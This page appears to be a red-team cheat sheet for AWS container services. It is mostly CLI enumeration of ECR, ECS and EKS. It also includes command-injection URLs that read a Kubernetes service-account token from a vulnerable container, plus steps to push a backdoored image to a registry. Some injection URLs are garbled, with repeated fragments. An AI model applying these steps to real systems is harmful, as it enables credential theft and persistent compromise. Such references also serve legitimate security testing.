3 categories:
Registry : store and manage container images: ECR (Elastic Container Registry)
Orchestration : when and where containers run: ECS (Elastic Container Service) and EKS (Elastic Kubernetes Service)
Compute : run containers: Fargate (servless compute engine) and EC2
Enumeration
ECR
Repositories in the container registry
Copy aws ecr describe-repositories Information about the repo policy
Copy aws ecr get-repository-policy --repository-name [repo-name] List all images in the specified repository
Copy aws ecr list-images --repository-name [repo-name] Information about a container image
Copy aws ecr describe-images --repository-name [repo-name] --image-ids imageTag=[imageTag] Authenticate to ECR
Copy export AWS_ACCESS_KEY_ID="<access_key>"
export AWS_SECRET_ACCESS_KEY=”<secret_key>"
aws ecr get-login-password --profile <profile_name> --region <region> | sudo docker login --username AWS --password-stdin <container_registry> Pull Image from ECR
Copy podman pull <registry>.dkr.ecr.<region>.amazonaws.com/<repository> Create New Container
Copy podman create --name route-optimization-container <registry>.dkr.ecr.<region>.amazonaws.com/<repository>:latest Mount and Enumerate Container File System
Copy podman unshare
podman mount <container-name> ECS
List all ECS clusters
Copy aws ecs list-clusters Information about specified cluster
Copy aws ecs describe-clusters --cluster [cluster-name] List all services in the specified cluster
Copy aws ecs list-services --cluster [cluster-name] Information about a specified service
Copy aws ecs describe-services --cluster [cluster-name] --services [service-name] List all tasks in the specified cluster
Copy aws ecs describe-tasks --cluster [cluster-name] --tasks [task-arn] List all containers in the specified cluster
Copy aws ecs list-container-instances --cluster [cluster-name] EKS
List all EKS clusters
Copy aws eks list-clusters Information about a specified cluster
Copy aws eks describe-cluster --name [cluster-name] List of all node groups in a specified cluster
Copy aws eks list-nodegroups --cluster-name [cluster-name] Information about a specified node group in a cluster
Copy aws eks describe-nodegroup --cluster-name [cluster-name] --nodegroup-name [node-group] List of all fargate in a specified cluster
Copy aws eks list-fargate-profiles --cluster-name [cluster-name] Information about a specific fargate profile in a cluster
Copy aws eks describe-fargate-profile --cluster-name [cluster-name] --fargate-profile-name [profile-name] Initial Access
RCE - Command injection
List of all secret in EKS vulnerable container
Copy http://vulnerable.elb.amazonaws.com/?cmd=2.elb.amazonaws.com/?cmd=ls%20%20%20/var/run/secrets/kubernetes.io/serviceaccount Get the secret information from running EKS vulnerable container
Copy http://vulnerable.elb.amazonaws.com/?cmd=2.elb.amazonaws.com/?cmd=2.elb.amazonaws.com/?cmd=cat%20%20%20/var/run/secrets/kubernetes.io/serviceaccount/token Persistence
Copy docker pull <ecr_registry>/<image>:latest
docker build -t <image> .
docker tag <image>:latest <ecr_registry>/<image>:latest
docker push <ecr_registry>/<image>:latest Authenticate docker daemon to ECR
Copy export AWS_ACCESS_KEY_ID="<access_key>"
export AWS_SECRET_ACCESS_KEY=”<secret_key>"
aws ecr get-login-password --profile <profile_name> --region <region> | sudo docker login --username AWS --password-stdin <container_registry>
aws ecr get-login-password --region [region] | docker login --username AWS --password-stdin [ECR-Addr] Build backdoored docker image
Copy docker build -t [Image-name] . Tag the docker image
Copy docker tag [Image-name] [ECR-addr]:[Image-name] Push the docker image to AWS Container Registry
Copy docker push [ECR-addr]:[Image-name] Interesting Book
